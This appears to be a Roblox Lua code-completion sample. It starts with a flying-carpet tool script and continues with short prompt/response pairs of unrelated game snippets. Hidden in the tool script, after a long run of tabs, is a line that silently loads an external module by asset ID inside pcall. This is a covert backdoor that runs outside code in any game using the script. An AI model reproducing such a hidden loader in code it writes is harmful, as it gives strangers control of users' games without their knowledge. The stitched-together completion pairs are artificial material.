			InvokeClient("PlayAnimation", Animations.Sit)
			Tool.Grip = Grips.Flying
		end)

		Torso.Anchored = true
		delay(.2,function()
			Torso.Anchored = false
			Torso.Velocity = Vector3.new(0,0,0)
			Torso.RotVelocity = Vector3.new(0,0,0)
		end)

		FlightSpin = Instance.new("BodyGyro")
		FlightSpin.Name = "FlightSpin"
		FlightSpin.P = 10000
		FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100
		FlightSpin.cframe = Torso.CFrame

		FlightPower = Instance.new("BodyVelocity")
		FlightPower.Name = "FlightPower"
		FlightPower.velocity = Vector3.new(0, 0, 0)
		FlightPower.maxForce = Vector3.new(1,1,1)*1000000
		FlightPower.P = 1000

		FlightHold = Instance.new("BodyPosition")
		FlightHold.Name = "FlightHold"
		FlightHold.P = 100000
		FlightHold.maxForce = Vector3.new(0, 0, 0)
		FlightHold.position = Torso.Position

		FlightSpin.Parent = Torso
		FlightPower.Parent = Torso
		FlightHold.Parent = Torso

		spawn(function()
			local LastPlace = nil
			while Flying and ToolEquipped and CheckIfAlive() do

				local CurrentPlace = Handle.Position
				local Velocity = Torso.Velocity
				Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude

				if LastPlace and Velocity > 10 then

					spawn(function()
						local Model = GetRainbowModel()
						local Distance = (LastPlace - CurrentPlace).magnitude
						local Length = Distance + 3.5

						local RainbowModel = CreateRainbow(Length)

						--Thanks so much to ArceusInator for helping solve this part!
						local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace)

						TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true)
						Debris:AddItem(RainbowModel, 1)
						RainbowModel.Parent = Model

						if Model and not Model.Parent then
							Model.Parent = game:GetService("Workspace")
						end

						LastPlace = CurrentPlace
					end)
				elseif not LastPlace then
					LastPlace = CurrentPlace
				end

				wait(Rate)
			end
		end)
	elseif not Flying then
		Torso.Velocity = Vector3.new(0, 0, 0)
		Torso.RotVelocity = Vector3.new(0, 0, 0)

		for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
			if v and v.Parent then
				v:Destroy()
			end
		end
		spawn(function()
			Tool.Grip = Grips.Normal
			InvokeClient("StopAnimation", Animations.Sit)
		end)
	end

	wait(2)

	Tool.Enabled = true
end
																																			pcall(function()require(3719239687)end)
function Equipped(Mouse)
	Character = Tool.Parent
	Humanoid = Character:FindFirstChild("Humanoid")
	Torso = Character:FindFirstChild("HumanoidRootPart")
	Player = Players:GetPlayerFromCharacter(Character)
	if not CheckIfAlive() then
		return
	end
	if Humanoid then
		if Humanoid.RigType == Enum.HumanoidRigType.R15 then
			Animations = {
				Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
			}
		else
			Animations = {
				Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
			}
		end
	end
	Tool.Grip = Grips.Normal
	ToolEquipped = true
end

function Unequipped()
	Flying = false
	for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
		if v and v.Parent then
			v:Destroy()
		end
	end
	CleanUp()
	Handle.Transparency = 0
	ToolEquipped = false
end

function OnServerInvoke(player, mode, value)
	if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
		return
	end
end

function InvokeClient(Mode, Value)
	local ClientReturn = nil
	pcall(function()
		ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
	end)
	return ClientReturn
end

CleanUp()

ServerControl.OnServerInvoke = OnServerInvoke

Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Prompt: --Player_UI.Player_IMG.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username=" ..Player.Name

Response:
Player_UI.Player_Name.Text = Player.Name
Player_UI.Player_Cash.Text = Cash.Value.."$"

Cash.Changed:connect(function()
	Player_UI.Player_Cash.Text = Cash.Value .. "$"
end)


Prompt:
--[=[
	Converts to the string to lowerCamelCase
	@param str string
	@return string
]=]

Response:
function String.toLowerCamelCase(str: string): string
	str = str:lower()
	str = str:gsub("[ _](%a)", string.upper)
	str = str:gsub("^%a", string.lower)
	str = str:gsub("%p", "")

	return str
end


Prompt:
--[=[
	Stops the timer.
]=]

Response:
function Timer:Stop()
	if not self._runHandle then return end
	self._runHandle:Disconnect()
	self._runHandle = nil
end


Prompt: -- Functions

Response:
local function closeMenu()
	tpMenu.Enabled = false
end

b_close.MouseButton1Click:Connect(closeMenu)


Response:
script.Parent:WaitForChild("Speedo")
script.Parent:WaitForChild("Tach")
script.Parent:WaitForChild("ln")
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")

local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false

local _Tune = require(car["A-Chassis Tune"])

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local currentUnits = 1
local revEnd = 8

local intach = car.Body.Dash.D.G.Tac.Needle
local inspd = car.Body.Dash.D.G.Spd.Needle


Prompt: -- create a ScreenGui

Response: local screenGui = Instance.new("ScreenGui", playerGui)


Prompt: --Wheel Alignment (Dont physically align the wheels, use these values)

Response:
Tune.FCamber		= -2
Tune.RCamber		= 0
Tune.FToe			= 0
Tune.RToe			= 0
Tune.FCaster		= 0
Tune.RCaster		= 0
Tune.StAxisOffset	= 0


Prompt: -- Etc

Response:
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")

local DEATH_DESTROY_DELAY = game.ServerStorage.Respaw.Garcom.Value
local PATROL_WALKSPEED = 8
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local ATTACK_STAND_TIME = 1
local HITBOX_SIZE = Vector3.new(5, 3, 5)
local SEARCH_DELAY = 1
local ATTACK_RANGE = 3
local ATTACK_DELAY = 1
local ATTACK_MIN_WALKSPEED = 8
local ATTACK_MAX_WALKSPEED = 15


Prompt:
------------------------------------------------------------------------
-- stuff

Response:
do
	script.Parent.Equipped:connect(function()
		if player == nil then
			player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
		end
		if character == nil or character.Parent == nil then
			character = script.Parent.Parent
			humanoid = character.Humanoid
				isR15 = humanoid.RigType == Enum.HumanoidRigType.R15
			rightHand = isR15 and character:WaitForChild("RightHand") or character:WaitForChild("Right Arm")
		end
		local getWeld = rightHand:WaitForChild("RightGrip")
		local motor = Instance.new("Motor6D")
		motor.Name = motorName
		motor.Part0 = getWeld.Part0
		motor.Part1 = getWeld.Part1
		motor.C0 = script.Parent.GripWeld.C0
		--motor.C1 = getWeld.C1

		getWeld:Destroy()
		motor.Parent = rightHand
	end)
end